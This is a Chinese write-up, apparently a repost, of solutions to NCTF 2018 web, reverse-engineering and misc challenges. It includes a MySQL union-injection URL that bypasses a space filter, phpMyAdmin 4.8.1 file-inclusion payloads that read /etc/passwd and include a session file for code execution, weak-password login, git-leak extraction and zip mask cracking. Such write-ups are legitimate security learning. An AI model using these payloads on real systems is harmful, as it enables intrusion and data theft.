NCTF 2018部分Writeup

栏目: JavaScript · 发布时间: 5年前

内容简介:有点坑,没想到是直接访问主域名,前期重点分析了secret.php 这个文件了,绕了弯路。

NCTF 2018部分Writeup 这次校赛收获了很多,题目质量感觉很高,在没有二进制手的情况下,我们打了校外队伍第9名,对于一向很菜鸡的我感觉很满意了,已经使出洪荒之力了。希望自己进步速度更快一点吧,否则要被自己的学弟们超过会很尴尬的鸭!

Web

签到题

有点坑,没想到是直接访问主域名,前期重点分析了secret.php 这个文件了,绕了弯路。

NCTF 2018部分Writeup

滴!晨跑打卡

考察 MySQL 手工注入,这里过滤了 空格 ,替换为 %a0 即可绕过注入

NCTF 2018部分Writeup

数据库名:flaaaaaaag

表名:f144444444g

列名:th1s_1s_flag

http://ctfgame.acdxvfsvd.net:20001/?id=1'%a0union%a0select%a0user(),(SELECT%a0GROUP_CONCAT(th1s_1s_flag%a0SEPARATOR%a00x3c62723e)%a0FROM%a0flaaaaaaag.f144444444g),3||'1

NCTF 2018部分Writeup

Go Lakers

这个跳转有点诡异,BP转包看返回包,一直往下面翻! 这里有点坑,之前没有往下翻的时候还以为没有返回包信息呢 =.= ,看到如下提示:

<!DOCTYPE html>
<html>
<head>
 <title>嘻嘻嘻</title>
</head>
<body>
<h3>题目在哪呢</h3>
</body>
</html>>
<!-- post me viewsource -->

POST提交viewsource变量可以看到源代码信息:

<?php 
error_reporting(0); 
include 'getip.php'; 
ini_set('open_basedir','.'); 
if(isset($_POST['viewsource'])){ 
    highlight_file(__FILE__); 
    die(); 
} 

mt_srand(mktime()+$seed); 

function de_code($value){ 
    $value = base64_decode($value); 
    $result = ''; 
    for($i=0;$i<strlen($value);$i++){ 
        $result .= chr(ord($value[$i])-$i*2); 
    } 
    return $result; 
} 

if(!(getip() === '127.0.0.1' && file_get_contents($_GET['9527']) === 'nctf_is_good' && mt_rand(1,10000) === intval($_GET['go_Lakers']))){ 
    header('location:http://www.baidu.com'); 
}else{ 
    echo 'great'; 
} 

echo file_get_contents(de_code($_GET['file_'])); 

?>

27行的 file_get_contents(de_code($_GET['file_'])); ,找到函数,写个 php 函数

function en_code($value){ 
    $result = ''; 
    for($i=0;$i<strlen($value);$i++){ 
        $result .= chr(ord($value[$i])+$i*2); 
    } 
    $result = base64_encode($result); 
    return $result; 
}

flag.php 加密,传入得到flag

NCTF 2018部分Writeup

全球最大交友网站

看到题目title后,首先想到gayhub了,打开题目后是一个css3时钟demo,度娘了一下相同源码然后diff一下线上的没有差异。于是想到应该是git泄露吧。

https://github.com/lijiejie/GitHack 利用脚本获取到 http://ctfgame.acdxvfsvd.net:20003/ 下README.MD:内容为“Allsource files areingit tag1.0”,字母意思内容在tag1.0版本中。

遂查找到p师傅文章,考察Git相关姿势

https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html

利用p师傅的 https://github.com/phith0n/XDCTF2015/blob/master/gitcommit.py 获取到readme.txt中的flag提交失败,竟然还有假flag这一出??!!

于是再使用了 https://github.com/denny0223/scrabble 脚本获取到了 .git 文件,

git log查看历史

NCTF 2018部分Writeup

有过三次commit,当前head指向hint这次commit,

git show HEAD 6b21737

NCTF 2018部分Writeup

没有结果,在show上一次hello的commit修改内容:

NCTF 2018部分Writeup

得 flag{git_is_very_good} ,哼,还有假flag

小绿草之最强大脑

NCTF 2018部分Writeup

查看源码,看到源码泄露的hint,访问index.php.bak下载拿到源码:

<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
 if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
  session_destroy();
  echo '
  <script language="javascript">  
  alert("怎么没算对呢?");  
  window.history.back(-1);  </script>';
 }
 else{
  if(intval(time())-$_SESSION['time']<1){
   session_destroy();
   echo '
   <script language="javascript">  
   alert("你手速太快啦,服务器承受不住!!!");  
   window.history.back(-1); </script> ';
  }
  if(intval(time())-$_SESSION['time']>2){
   session_destroy();
   echo '
   <script language="javascript">  
   alert("你算的太慢了少年!");  
   window.history.back(-1); </script> ';
  }
  echo '
  <script language="javascript">  
  alert("tql,算对了!!");  
      </script> ';
  $_SESSION['count']++;
 }
}
?>

从这个原码泄露得到以下关键信息:

intval

intval是防止程序溢出的,我们输入的大于21位的数字经过PHP处理的值一定发生了变化

我们输入的 4200000000000000000000 经过PHP的intval函数处理的结果为:

<?php echo intval('4200000000000000000000');?>
32位系统:2147483647 64位系统:9223372036854775807

题目的操作系统是64位的,所以我们输入的这个值经过php防止溢出处理后的实际值为 9223372036854775807

这里比较核心,因为之前没有考虑到这个导致一直计算失败,知道这个的话开始写 Python 脚本来提取网页中的公式,然后将计算的结果post提交给服务器:

# author: www.sqlsec.com
import requests
import re
import time
s = requests.Session()  # 因为要连续计算,用来保存当前会话的持续有效性
url = "http://ctfgame.acdxvfsvd.net:20004/"
number ="4200000000000000000000"  #输入的数字
r = s.get(url)
math = ''
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
}
while(1):
    num_pattern =re.compile(r'<div style="display:inline;">(.*?)</div>')
    num = num_pattern.findall(r.text)   #正则提取公式
    gg = "9223372036854775807"+'+'+math.join(num)[0:-1]  #拼接真实的公式
    print(gg)
    ans = eval(gg)   #利用eval直接来计算结果

    print(ans)
    data = "input={number}&ans={ans}%".format(number=number,ans=ans)

    r =s.post(url,headers=headers,data=data)
    time.sleep(1.5   #延时1.5秒
    print(r.text)

NCTF 2018部分Writeup

基本操作

给了一个phpMyAdmin的地址

NCTF 2018部分Writeup

phpMyAdmin的版本信息是:4.8.1 ,联想到近期爆发的phpMyAdmin的任意文件包含漏洞,这个漏洞的利用得登录进去,首先举办方肯定不会给root用户的了,这么高权限要是直接进去的话,那也就太简单了,这些信息不要问我怎么知道的:

NCTF 2018部分Writeup

2333,拿到了这么多提示就去网上找各种组合的弱口令,最后成功使用 guestguest 登录进去了。

这种文件包含漏洞可以直接读取任意文件:

index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

NCTF 2018部分Writeup

然后执行 SQL 语句,这个flag的位置是自己一个个ls去查找的,找到flag的位置,直接构造以下语句来读取:

NCTF 2018部分Writeup

利用好自己的session可以执行任意php语句:

NCTF 2018部分Writeup

本地session默认的位置是:/tmp/sess_+你的phpMyAdmin session值,

index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_choc6nu2qnqdgdeedishaldarvig6sg8

然后包含一下自己的session,这样就将刚刚执行的语句包含了进来,导致任意php命令执行:

NCTF 2018部分Writeup

NCTF 2018 调查问卷

你需要科学上网。直接酸酸乳打开,在一个谷歌调查问卷最下面找到flag,然后感觉提交,这一题当时在外面吃饭,手机操作效率好低呀~~,提交完答案重新认认真真的来写了份问卷,打了很多出题人。

RE

后门

Web狗表示看到二进制的题目都是一脸懵逼的状态,IDA打开查看下程序的结构,关键分析这里:

NCTF 2018部分Writeup

双击跟踪这个函数,发现这里可以直接右键转换为字符串格式,然后可以直接读出flag信息:

NCTF 2018部分Writeup

这里的39是ASCII码,手动转码的答案是:

nctf{Welcome_to_binary's_world}

MISC

Havefun

下载下来是一个zip压缩包,打开需要密码,使用 binwalk 查看下压缩包里面的内容,发现有1-99个gif文件还有一个 wcy_____.txt 文件:

NCTF 2018部分Writeup

想到了zip掩码破解,使用掩码 wcy????? 来跑下压缩包的密码:

NCTF 2018部分Writeup

不一会儿拿到了密码: wcy1sg4y 解压得到99个gif文件:

NCTF 2018部分Writeup

Gif文件的话使用 identify 命令去拆解 Gif,Gif有8帧,8这个数字要敏感,二进制信息就是8个一组的,而且部分Gif的每一帧存在规律:

identify -format "%T \n" filename

NCTF 2018部分Writeup

经过测试按顺序提取出所有特殊的Gif信息:

identify -format "%s %T \n" *

20 & 10 分别代表 1 & 0 使用编辑器来进行批量替换,保存为 txt 文件:

NCTF 2018部分Writeup

写一个脚本来进行转换,二进制先转换为 10 进制,10 进制转换为 ascii 码,asscii 转换为相应的字符串。

# coding:utf-8
# blog:www.sqlsec,com
import re
def file():
  text = raw_input("pleast enter your file path:")
  with open(text,'r') as f:
      binfile = (f.read()).replace("\n","")
      bindata = re.findall(r'.{8}',binfile)
      for i in bindata:
          ascii = int(i,2)
          print(chr(ascii))
file()

NCTF 2018部分Writeup


以上所述就是小编给大家介绍的《NCTF 2018部分Writeup》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

CSS揭秘

CSS揭秘

[希] Lea Verou / CSS魔法 / 人民邮电出版社 / 2016-4 / 99.00元

本书是一本注重实践的教程,作者为我们揭示了 47 个鲜为人知的 CSS 技巧,主要内容包括背景与边框、形状、 视觉效果、字体排印、用户体验、结构与布局、过渡与动画等。本书将带领读者循序渐进地探寻更优雅的解决方案,攻克每天都会遇到的各种网页样式难题。 本书的读者对象为前端工程师、网页开发人员。一起来看看 《CSS揭秘》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

SHA 加密
SHA 加密

SHA 加密工具